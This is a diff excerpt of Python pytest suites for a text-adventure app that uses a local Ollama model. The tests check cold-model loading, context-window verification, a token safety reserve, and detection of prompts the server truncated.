assert prefs["browser.download.useDownloadDir"] is True
|
||||
assert prefs["browser.download.always_ask_before_handling_new_types"] is False
|
||||
assert "application/json" in prefs["browser.helperApps.neverAsk.saveToDisk"]
|
||||
|
||||
|
||||
def test_a_download_folder_must_be_under_home():
|
||||
with pytest.raises(wd.WebDriverError):
|
||||
wd.require_under_home(Path("/tmp/wp-c-downloads"))
|
||||
inside = Path.home() / "v11-evidence" / "wp-c" / "downloads"
|
||||
assert wd.require_under_home(inside) == inside.resolve()
|
||||
@@ -0,0 +1,348 @@
|
||||
"""v1.1 WP-A1 corrective: a cold model is loaded, not guessed about.
|
||||
|
||||
A1's accounting caught a real cold-model turn: `/api/ps` knew nothing because the
|
||||
model was not resident, `/api/show` found no `num_ctx`, the window was therefore
|
||||
unverified, and the prompt was built to the configured 16,384. Ollama loaded the
|
||||
model at its own 4,096 default, read 2,050 of the 13,875 tokens and answered 200.
|
||||
|
||||
Detection was right. The case is also preventable: once the model is loaded its
|
||||
window is readable. So before an unverified turn is assembled, the application
|
||||
asks the configured server, once, to load the model (`POST /api/generate` with a
|
||||
model and no prompt, which Ollama answers with `"done_reason": "load"` and no
|
||||
text), probes again, and builds the turn to whatever that probe says. A window
|
||||
still unverified afterwards changes nothing: the configured budget stands and
|
||||
the post-response accounting still watches for a cut prompt.
|
||||
|
||||
python -m pytest tests/test_v11_cold_window.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
from sqlalchemy import text
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
from app import auth, contextwindow, limits, models
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.providers.base import ProviderError
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
ENDPOINT = "http://127.0.0.1:11434/v1"
|
||||
MODEL = "qwen2.5:3b-instruct"
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_window_cache():
|
||||
contextwindow.cache_clear()
|
||||
yield
|
||||
contextwindow.cache_clear()
|
||||
|
||||
|
||||
class ColdOllama:
|
||||
"""The shapes a real Ollama 0.33 returned, with a model that starts cold.
|
||||
|
||||
`/api/ps` lists only loaded models. `/api/show` carries no `num_ctx`.
|
||||
`/api/generate` with no prompt loads the model at `load_window`, exactly as
|
||||
the real server answered: HTTP 200, `"response": ""`, `"done_reason": "load"`.
|
||||
"""
|
||||
|
||||
def __init__(self, *, loaded=None, load_window=4096, generate_status=200,
|
||||
report_after_load=True):
|
||||
self.loaded = dict(loaded or {})
|
||||
self.load_window = load_window
|
||||
self.generate_status = generate_status
|
||||
self.report_after_load = report_after_load
|
||||
self.requests: list[tuple[str, str, dict | None]] = []
|
||||
|
||||
def handler(self, request: httpx.Request) -> httpx.Response:
|
||||
body = None
|
||||
if request.content:
|
||||
import json
|
||||
body = json.loads(request.content)
|
||||
self.requests.append((request.method, str(request.url), body))
|
||||
path = request.url.path
|
||||
if path == "/api/ps":
|
||||
return httpx.Response(200, json={"models": [
|
||||
{"name": name, "model": name, "context_length": tokens}
|
||||
for name, tokens in self.loaded.items()
|
||||
]})
|
||||
if path == "/api/show":
|
||||
return httpx.Response(200, json={
|
||||
"model_info": {"qwen2.context_length": 32768}, "parameters": ""})
|
||||
if path == "/api/generate":
|
||||
if self.generate_status != 200:
|
||||
return httpx.Response(self.generate_status, json={"error": "model not found"})
|
||||
if self.report_after_load:
|
||||
self.loaded[body["model"]] = self.load_window
|
||||
return httpx.Response(200, json={
|
||||
"model": body["model"], "response": "", "done": True, "done_reason": "load"})
|
||||
return httpx.Response(404)
|
||||
|
||||
def paths(self):
|
||||
return [httpx.URL(url).path for _method, url, _body in self.requests]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def server(monkeypatch):
|
||||
def install(fake: ColdOllama):
|
||||
original = httpx.AsyncClient
|
||||
|
||||
def build(*args, **kwargs):
|
||||
kwargs.pop("verify", None)
|
||||
return original(*args, transport=httpx.MockTransport(fake.handler), **kwargs)
|
||||
|
||||
monkeypatch.setattr(contextwindow.httpx, "AsyncClient", build)
|
||||
return fake
|
||||
|
||||
return install
|
||||
|
||||
|
||||
# ------------------------------------------------------------ ensure_window
|
||||
|
||||
def test_a_cold_model_is_loaded_once_and_its_window_verified(server):
|
||||
fake = server(ColdOllama(loaded={}, load_window=4096))
|
||||
window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
|
||||
assert (window.tokens, window.source, window.verified) == (4096, contextwindow.LOADED, True)
|
||||
assert preflight == {"attempted": True, "loaded": True, "verified_before": False,
|
||||
"verified_after": True,
|
||||
"detail": "the server loaded the model (load)"}
|
||||
assert fake.paths() == ["/api/ps", "/api/show", "/api/generate", "/api/ps"]
|
||||
# One load request, naming the model and nothing else: no prompt, so no text.
|
||||
warms = [body for _m, url, body in fake.requests if url.endswith("/api/generate")]
|
||||
assert warms == [{"model": MODEL}]
|
||||
|
||||
|
||||
def test_an_already_loaded_model_is_not_warmed(server):
|
||||
fake = server(ColdOllama(loaded={MODEL: 16384}))
|
||||
window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
|
||||
assert window.verified and window.tokens == 16384
|
||||
assert preflight["attempted"] is False
|
||||
assert "/api/generate" not in fake.paths()
|
||||
|
||||
|
||||
def test_a_model_that_loads_but_still_cannot_be_read_stays_unverified(server):
|
||||
"""A server that loads the model but whose `/api/ps` still cannot say. The
|
||||
existing unknown path stands: no guessed window, the configured budget kept."""
|
||||
fake = server(ColdOllama(loaded={}, report_after_load=False))
|
||||
window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
|
||||
assert not window.verified and window.tokens is None
|
||||
assert preflight["attempted"] is True and preflight["loaded"] is True
|
||||
assert preflight["verified_after"] is False
|
||||
assert fake.paths().count("/api/generate") == 1
|
||||
assert contextwindow.effective_budget(16384, window) == 16384
|
||||
|
||||
|
||||
@pytest.mark.parametrize("status", [404, 500])
|
||||
def test_a_failed_load_is_recorded_and_leaves_the_window_unverified(server, status):
|
||||
fake = server(ColdOllama(loaded={}, generate_status=status))
|
||||
window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
|
||||
assert not window.verified
|
||||
assert preflight["attempted"] is True and preflight["loaded"] is False
|
||||
assert f"HTTP {status}" in preflight["detail"]
|
||||
# Bounded: one attempt, and no second probe after a failed load.
|
||||
assert fake.paths() == ["/api/ps", "/api/show", "/api/generate"]
|
||||
|
||||
|
||||
def test_a_declared_window_does_not_stop_the_server_being_asked(server):
|
||||
"""A declaration fills a hole the server leaves. Loading the model can close
|
||||
the hole, and a verified answer always wins over a declaration."""
|
||||
server(ColdOllama(loaded={}, load_window=4096))
|
||||
window, _preflight = asyncio.run(
|
||||
contextwindow.ensure_window(ENDPOINT, MODEL, declared=8192))
|
||||
assert (window.tokens, window.source) == (4096, contextwindow.LOADED)
|
||||
|
||||
|
||||
def test_an_unreachable_server_is_not_asked_to_load_anything():
|
||||
"""Nothing listens here. No load is attempted against a server that did not
|
||||
answer the probe, so an offline turn costs no second timeout."""
|
||||
window, preflight = asyncio.run(
|
||||
contextwindow.ensure_window("http://127.0.0.1:1/v1", MODEL))
|
||||
assert not window.verified
|
||||
assert preflight["attempted"] is False
|
||||
assert "did not answer" in preflight["detail"]
|
||||
|
||||
|
||||
def test_the_load_request_obeys_the_endpoint_policy():
|
||||
"""ADR 011. No transport is installed: a load that ignored the policy would
|
||||
try to reach a public address for real."""
|
||||
for url in ("https://api.openai.com/v1", "http://8.8.8.8:11434/v1"):
|
||||
loaded, detail = asyncio.run(contextwindow.warm(url, MODEL, timeout=2))
|
||||
assert loaded is False
|
||||
assert "not allowed" in detail
|
||||
|
||||
|
||||
def test_the_load_request_goes_only_to_the_configured_host(server):
|
||||
fake = server(ColdOllama(loaded={}))
|
||||
asyncio.run(contextwindow.ensure_window("http://192.168.0.50:11434/v1", MODEL))
|
||||
hosts = {httpx.URL(url).host for _m, url, _b in fake.requests}
|
||||
ports = {httpx.URL(url).port for _m, url, _b in fake.requests}
|
||||
assert hosts == {"192.168.0.50"} and ports == {11434}
|
||||
|
||||
|
||||
# ------------------------------------------------------------- end to end
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="v11cold@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model=MODEL, endpoint_url=ENDPOINT, embedding_model="",
|
||||
context_token_budget=16384, max_output_tokens=500,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Cold",
|
||||
campaign_canon={"rules": ["The sealed crypt is named CANON-SENTINEL-COLD-2050."]},
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(adventure_id=adventure.id, type="start", text="Rain."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _long_story(adv_id, turns=120):
|
||||
from app import tree
|
||||
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv_id)
|
||||
for i in range(turns):
|
||||
for kind, body in (
|
||||
("do", f"I search the {i}th chamber of the undercroft."),
|
||||
("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
|
||||
):
|
||||
action = models.Action(adventure_id=adv_id, type=kind, text=body)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
tree.place_action(db, adventure, action)
|
||||
db.commit()
|
||||
|
||||
|
||||
def _counts():
|
||||
with SessionLocal() as db:
|
||||
return {table: db.execute(text(f"SELECT COUNT(*) FROM {table}")).scalar()
|
||||
for table in ("actions", "state_events", "state_proposals", "memories",
|
||||
"summaries")}
|
||||
|
||||
|
||||
def _latest_ai(adv_id):
|
||||
with SessionLocal() as db:
|
||||
return (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first())
|
||||
|
||||
|
||||
def test_a_cold_turn_is_built_to_the_window_the_loaded_model_reports(client, server):
|
||||
"""The observed failure, prevented. Without the load this turn would be built
|
||||
to the configured 16,384 against a 4,096 server."""
|
||||
_long_story(client.adv_id)
|
||||
fake = server(ColdOllama(loaded={}, load_window=4096))
|
||||
ScriptedProvider.replies = ["The seal holds."]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "look at the seal"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
|
||||
snapshot = _latest_ai(client.adv_id).context_snapshot
|
||||
assert snapshot["window"]["verified"] is True
|
||||
assert snapshot["tokens"]["budget"] == 4096
|
||||
assert snapshot["window"]["preflight"]["attempted"] is True
|
||||
assert snapshot["window"]["preflight"]["verified_after"] is True
|
||||
system, story = ScriptedProvider.prompts[-1]
|
||||
sent = builder.count_tokens(system) + builder.count_tokens(story)
|
||||
assert sent + snapshot["tokens"]["transport"] + 500 + 256 <= 4096
|
||||
assert "CANON-SENTINEL-COLD-2050" in system
|
||||
assert fake.paths().count("/api/generate") == 1
|
||||
|
||||
|
||||
def test_without_the_load_the_same_cold_turn_would_have_been_built_too_large(client, server,
|
||||
monkeypatch):
|
||||
"""The negative control: v1.0.0 and the first A1 tree probed only."""
|
||||
_long_story(client.adv_id)
|
||||
server(ColdOllama(loaded={}, load_window=4096))
|
||||
|
||||
async def probe_only(endpoint_url, model, *, declared=None, warm_timeout=300.0):
|
||||
window = await contextwindow.probe(endpoint_url, model, declared=declared)
|
||||
return window, {"attempted": False}
|
||||
|
||||
monkeypatch.setattr(adventures.turns.contextwindow, "ensure_window", probe_only)
|
||||
ScriptedProvider.replies = ["The seal holds."]
|
||||
client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "look at the seal"})
|
||||
snapshot = _latest_ai(client.adv_id).context_snapshot
|
||||
assert snapshot["window"]["verified"] is False
|
||||
assert snapshot["tokens"]["budget"] == 16384
|
||||
system, story = ScriptedProvider.prompts[-1]
|
||||
assert builder.count_tokens(system) + builder.count_tokens(story) > 4096 * 2
|
||||
|
||||
|
||||
def test_the_load_itself_writes_nothing(client, server):
|
||||
"""No action, narration, state event, proposal, memory or summary comes from
|
||||
the preflight: it is a request to the server and nothing else."""
|
||||
fake = server(ColdOllama(loaded={}))
|
||||
before = _counts()
|
||||
asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
|
||||
assert _counts() == before
|
||||
assert fake.paths().count("/api/generate") == 1
|
||||
|
||||
|
||||
def test_a_failed_load_then_a_failed_model_call_leaves_the_story_safe(client, server):
|
||||
"""The ordinary failure semantics: the error is reported, no narration is
|
||||
accepted, and nothing about the state changes."""
|
||||
server(ColdOllama(loaded={}, generate_status=404))
|
||||
before = _counts()
|
||||
ScriptedProvider.replies = [ProviderError("Endpoint or model not found (HTTP 404).")]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "open the door"})
|
||||
assert response.status_code == 200
|
||||
assert '"type": "error"' in response.text or '"error"' in response.text
|
||||
after = _counts()
|
||||
assert after["state_events"] == before["state_events"]
|
||||
assert after["state_proposals"] == before["state_proposals"]
|
||||
with SessionLocal() as db:
|
||||
assert db.query(models.Action).filter_by(adventure_id=client.adv_id,
|
||||
type="ai").count() == 0
|
||||
|
||||
|
||||
def test_a_failed_load_does_not_stop_a_turn_the_model_can_still_answer(client, server):
|
||||
server(ColdOllama(loaded={}, generate_status=500))
|
||||
ScriptedProvider.replies = ["The door opens."]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "open the door"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
snapshot = _latest_ai(client.adv_id).context_snapshot
|
||||
assert snapshot["window"]["verified"] is False
|
||||
assert snapshot["window"]["preflight"]["loaded"] is False
|
||||
assert snapshot["tokens"]["budget"] == 16384
|
||||
assert snapshot["accounting"]["status"] == contextwindow.UNKNOWN
|
||||
|
||||
|
||||
def test_the_context_dry_run_never_loads_a_model(client, server):
|
||||
fake = server(ColdOllama(loaded={}))
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/context")
|
||||
assert response.status_code == 200
|
||||
assert "/api/generate" not in fake.paths()
|
||||
@@ -0,0 +1,495 @@
|
||||
"""v1.1 WP-A1: a deliberate safety reserve, and a turn the server cut is not silent.
|
||||
|
||||
M11 made the verified window a ceiling. It did not make the application's count
|
||||
the server's count. The application counts with `cl100k_base`, the narrator with
|
||||
its own tokenizer, and the v1 evidence left 23-42 real tokens between the largest
|
||||
prompt and the edge of a 16,384 window. Past that edge Ollama does not refuse.
|
||||
Measured against the reference CPU host (Ollama 0.33, a 4,096 window), a
|
||||
6,316-token prompt came back 200 with `prompt_tokens` 2,050: the front of the
|
||||
prompt, which in this design is the narrator's rules and the canon, was gone.
|
||||
|
||||
So the tests below are in three halves.
|
||||
|
||||
**The reserve.** `max(256, ceil(5% of the effective window))`, taken from the
|
||||
budget before any history is chosen, on top of an exact reply allocation.
|
||||
|
||||
**The arithmetic.** The assembled prompt, plus the application text the provider
|
||||
adds to every request, plus the reply allocation, plus the reserve, fits the
|
||||
effective window. Protected context that cannot fit that way fails before the
|
||||
model is called.
|
||||
|
||||
**The accounting.** Where the server reports how many prompt tokens it read, the
|
||||
turn records `fits`, `exceeded` or `truncation_suspected`. Where it reports
|
||||
nothing, the turn says `unknown`, never `fits`. A discrepancy found after the
|
||||
reply is recorded and shown; it never costs the reader an accepted turn.
|
||||
|
||||
python -m pytest tests/test_v11_context_reserve.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
from app import auth, contextwindow, limits, models
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.providers.openai_compatible import CHAT_CONTINUE_HINT, OpenAICompatibleProvider
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
ENDPOINT = "http://127.0.0.1:11434/v1"
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_window_cache():
|
||||
contextwindow.cache_clear()
|
||||
yield
|
||||
contextwindow.cache_clear()
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the reserve
|
||||
|
||||
@pytest.mark.parametrize("window, reserve", [
|
||||
(1024, 256),
|
||||
(4096, 256), # 5% is 204.8, so the floor holds
|
||||
(5120, 256), # exactly 5% is the floor
|
||||
(5121, 257), # 256.05 rounds up
|
||||
(8192, 410), # 409.6 rounds up
|
||||
(16384, 820), # 819.2 rounds up
|
||||
(32768, 1639), # 1638.4 rounds up
|
||||
])
|
||||
def test_the_reserve_is_the_larger_of_the_floor_and_five_percent_rounded_up(window, reserve):
|
||||
assert contextwindow.safety_reserve(window) == reserve
|
||||
|
||||
|
||||
def test_the_reserve_is_far_larger_than_the_v1_margin_at_the_evidence_window():
|
||||
"""The v1 evidence left 23-42 tokens at 16,384. 64 tokens of slack was all
|
||||
the arithmetic kept for drift and separators together."""
|
||||
assert contextwindow.safety_reserve(16384) >= 10 * 64
|
||||
|
||||
|
||||
# ---------------------------------------------------------- the arithmetic
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="v11reserve@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="qwen2.5:3b-instruct", endpoint_url=ENDPOINT,
|
||||
embedding_model="", context_token_budget=16384, max_output_tokens=500,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Reserved",
|
||||
campaign_canon={"rules": [
|
||||
"The abbey seal has never been broken.",
|
||||
"The sealed crypt is named CANON-SENTINEL-RESERVE-5120.",
|
||||
]},
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text="Rain over Westhaven."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _long_story(adv_id, turns=120):
|
||||
from app import tree
|
||||
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv_id)
|
||||
for i in range(turns):
|
||||
for kind, text in (
|
||||
("do", f"I search the {i}th chamber of the undercroft."),
|
||||
("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
|
||||
):
|
||||
action = models.Action(adventure_id=adv_id, type=kind, text=text)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
tree.place_action(db, adventure, action)
|
||||
db.commit()
|
||||
|
||||
|
||||
def _settings(**changes):
|
||||
with SessionLocal() as db:
|
||||
settings = db.query(models.Settings).first()
|
||||
for key, value in changes.items():
|
||||
setattr(settings, key, value)
|
||||
db.commit()
|
||||
|
||||
|
||||
def _build(client, window):
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
settings = db.query(models.Settings).first()
|
||||
return builder.build_context(adventure, settings, window=window)
|
||||
|
||||
|
||||
def _sent(system, story) -> int:
|
||||
"""What the provider actually sends in chat mode, by the application's count."""
|
||||
return (builder.count_tokens(system) + builder.count_tokens(story)
|
||||
+ builder.count_tokens(CHAT_CONTINUE_HINT))
|
||||
|
||||
|
||||
CONFIGURATIONS = {
|
||||
"verified 4,096": (dict(context_token_budget=16384),
|
||||
contextwindow.Window(4096, contextwindow.LOADED)),
|
||||
"verified 8,192": (dict(context_token_budget=16384),
|
||||
contextwindow.Window(8192, contextwindow.PARAMETERS)),
|
||||
"verified 16,384": (dict(context_token_budget=16384),
|
||||
contextwindow.Window(16384, contextwindow.LOADED)),
|
||||
"declared 6,000": (dict(context_token_budget=16384),
|
||||
contextwindow.Window(6000, contextwindow.DECLARED)),
|
||||
"unverified, configured 12,000": (dict(context_token_budget=12000),
|
||||
contextwindow.UNVERIFIED),
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", list(CONFIGURATIONS))
|
||||
def test_the_prompt_leaves_the_reply_and_the_reserve_free(client, name):
|
||||
"""A1-2, on the assembled text rather than the builder's own arithmetic."""
|
||||
changes, window = CONFIGURATIONS[name]
|
||||
_settings(**changes)
|
||||
_long_story(client.adv_id, turns=120)
|
||||
system, story, report = _build(client, window)
|
||||
tokens = report["tokens"]
|
||||
budget = tokens["budget"]
|
||||
|
||||
assert tokens["safety_reserve"] == contextwindow.safety_reserve(budget)
|
||||
assert tokens["output_reserve"] == 500
|
||||
sent = _sent(system, story)
|
||||
assert sent + tokens["output_reserve"] + tokens["safety_reserve"] <= budget, (
|
||||
name, sent, tokens)
|
||||
# The history is what gave way, not the canon.
|
||||
assert "CANON-SENTINEL-RESERVE-5120" in system
|
||||
assert report["history"]["included"] < report["history"]["total"]
|
||||
|
||||
|
||||
def test_the_report_prices_the_text_the_provider_adds(client):
|
||||
"""The chat hint rides on every request and was never counted."""
|
||||
_, _, report = _build(client, contextwindow.Window(4096, contextwindow.LOADED))
|
||||
tokens = report["tokens"]
|
||||
assert tokens["transport"] >= builder.count_tokens(CHAT_CONTINUE_HINT)
|
||||
assert tokens["estimate"] == tokens["total"] + builder.count_tokens(CHAT_CONTINUE_HINT)
|
||||
|
||||
|
||||
def test_the_reserve_follows_the_effective_window_not_the_setting(client):
|
||||
"""5% of a 4,096 server, not 5% of a 16,384 setting it will never read."""
|
||||
_, _, capped = _build(client, contextwindow.Window(4096, contextwindow.LOADED))
|
||||
_, _, full = _build(client, contextwindow.Window(16384, contextwindow.LOADED))
|
||||
assert capped["tokens"]["safety_reserve"] == 256
|
||||
assert full["tokens"]["safety_reserve"] == 820
|
||||
|
||||
|
||||
def test_protected_context_that_only_fits_without_the_reserve_fails_explicitly(client):
|
||||
"""A1-3 in the builder. Before v1.1 this prompt would have been built.
|
||||
|
||||
The canon is sized so that protected text plus the reply fits a 4,096 window
|
||||
with room to spare, and does not fit once the 256-token reserve is taken.
|
||||
"""
|
||||
small = contextwindow.Window(4096, contextwindow.LOADED)
|
||||
# Measured with a window large enough never to overflow, because repeated
|
||||
# text merges tokens at its seams and cannot be priced by multiplication.
|
||||
roomy = contextwindow.Window(32768, contextwindow.LOADED)
|
||||
rules = None
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
settings = db.query(models.Settings).first()
|
||||
base_rules = list(adventure.campaign_canon["rules"])
|
||||
filler = "The bell tolls once for every name in the ledger."
|
||||
copies = 1
|
||||
while True:
|
||||
candidate = base_rules + [" ".join([filler] * copies)]
|
||||
adventure.campaign_canon = {"rules": candidate}
|
||||
_, _, measured = builder.build_context(adventure, settings, window=roomy)
|
||||
t = measured["tokens"]
|
||||
# What protected context costs at 4,096, without the reserve.
|
||||
without_reserve = t["protected"] + t["transport"] + t["output_reserve"]
|
||||
if without_reserve + 64 >= 4096 - 60:
|
||||
break
|
||||
copies += 1
|
||||
rules = candidate
|
||||
adventure.campaign_canon = {"rules": rules}
|
||||
db.commit()
|
||||
|
||||
# The case this test is about: v1's arithmetic, with its 64-token margin,
|
||||
# would have built this prompt. v1.1's reserve does not fit.
|
||||
assert without_reserve + 64 < 4096
|
||||
assert without_reserve + contextwindow.safety_reserve(4096) >= 4096
|
||||
|
||||
with pytest.raises(builder.ContextOverflow) as caught:
|
||||
builder.build_context(adventure, settings, window=small)
|
||||
message = str(caught.value)
|
||||
assert "safety" in message
|
||||
assert "load the model with a larger window" in message
|
||||
|
||||
|
||||
def test_an_overflowing_turn_never_reaches_the_model(client, monkeypatch):
|
||||
"""A1-3 end to end: the refusal happens before the provider is called."""
|
||||
async def verified(endpoint, model, declared=None, use_cache=True):
|
||||
return contextwindow.Window(1024, contextwindow.LOADED)
|
||||
|
||||
monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
|
||||
ScriptedProvider.replies = ["This must never be generated."]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "open the crypt"})
|
||||
assert response.status_code == 200
|
||||
assert "safety" in response.text
|
||||
assert ScriptedProvider.calls == 0
|
||||
with SessionLocal() as db:
|
||||
assert db.query(models.Action).filter_by(
|
||||
adventure_id=client.adv_id, type="ai").count() == 0
|
||||
|
||||
|
||||
# ---------------------------------------------------------- the accounting
|
||||
|
||||
def _classify(prompt_tokens=None, *, usage=None, estimate=3500, budget=4096,
|
||||
output=500, verified=True):
|
||||
if usage is None and prompt_tokens is not None:
|
||||
usage = {"prompt_tokens": prompt_tokens, "completion_tokens": 40}
|
||||
return contextwindow.classify_usage(
|
||||
usage, estimate=estimate, budget=budget, max_output_tokens=output,
|
||||
window_verified=verified,
|
||||
)
|
||||
|
||||
|
||||
def test_a_prompt_the_server_read_in_full_fits():
|
||||
# The 13-token chat-template overhead measured against the real server.
|
||||
result = _classify(3513)
|
||||
assert result["status"] == contextwindow.FITS
|
||||
assert result["server_prompt_tokens"] == 3513
|
||||
assert result["difference"] == 13
|
||||
assert result["safety_reserve"] == 256
|
||||
assert result["observed_margin"] == 4096 - 500 - 3513
|
||||
|
||||
|
||||
def test_a_server_that_counts_more_than_the_reserve_allows_is_exceeded():
|
||||
"""The prompt plus the reply allocation no longer fits the window."""
|
||||
result = _classify(3700)
|
||||
assert result["status"] == contextwindow.EXCEEDED
|
||||
assert result["observed_margin"] < 0
|
||||
|
||||
|
||||
def test_a_server_that_read_far_less_than_was_sent_is_suspected_of_truncating():
|
||||
"""The real shape: 6,316 sent, 2,050 read, HTTP 200, no error."""
|
||||
result = _classify(2050, estimate=6316)
|
||||
assert result["status"] == contextwindow.TRUNCATION_SUSPECTED
|
||||
assert result["difference"] == 2050 - 6316
|
||||
|
||||
|
||||
def test_a_small_undercount_is_tokenizer_drift_not_truncation():
|
||||
"""A tokenizer thriftier than `cl100k_base` reads fewer tokens honestly. Only
|
||||
a shortfall larger than the reserve is called truncation."""
|
||||
assert _classify(3500 - 255)["status"] == contextwindow.FITS
|
||||
assert _classify(3500 - 257)["status"] == contextwindow.TRUNCATION_SUSPECTED
|
||||
|
||||
|
||||
@pytest.mark.parametrize("usage", [
|
||||
None,
|
||||
{},
|
||||
{"completion_tokens": 40},
|
||||
{"prompt_tokens": 0},
|
||||
{"prompt_tokens": "3500"},
|
||||
{"prompt_tokens": -1},
|
||||
])
|
||||
def test_no_usable_count_is_unknown_never_fits(usage):
|
||||
result = _classify(usage=usage)
|
||||
assert result["status"] == contextwindow.UNKNOWN
|
||||
assert result["server_prompt_tokens"] is None
|
||||
assert result["observed_margin"] is None
|
||||
|
||||
|
||||
def test_the_accounting_says_when_the_window_itself_was_not_verified():
|
||||
result = _classify(3513, verified=False)
|
||||
assert result["status"] == contextwindow.FITS
|
||||
assert result["window_verified"] is False
|
||||
assert "not verified" in result["detail"]
|
||||
|
||||
|
||||
def test_the_stream_asks_the_server_to_report_its_usage():
|
||||
"""Measured: Ollama 0.33 sends no usage in a stream unless asked."""
|
||||
provider = OpenAICompatibleProvider(ENDPOINT, "m")
|
||||
from app.providers.base import PromptParts
|
||||
|
||||
for mode in ("chat", "completion"):
|
||||
provider.api_mode = mode
|
||||
_url, body = provider._request(PromptParts(system="s", story="t"), 0.7, 50)
|
||||
assert body["stream"] is True
|
||||
assert body["stream_options"] == {"include_usage": True}
|
||||
|
||||
|
||||
def _latest_ai(adv_id):
|
||||
with SessionLocal() as db:
|
||||
return (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first()
|
||||
)
|
||||
|
||||
|
||||
def _play(client, monkeypatch, usage, window=4096, reply="The crypt is still sealed."):
|
||||
async def verified(endpoint, model, declared=None, use_cache=True):
|
||||
return contextwindow.Window(window, contextwindow.LOADED, 32768, "fake")
|
||||
|
||||
monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
|
||||
monkeypatch.setattr(ScriptedProvider, "last_usage", usage)
|
||||
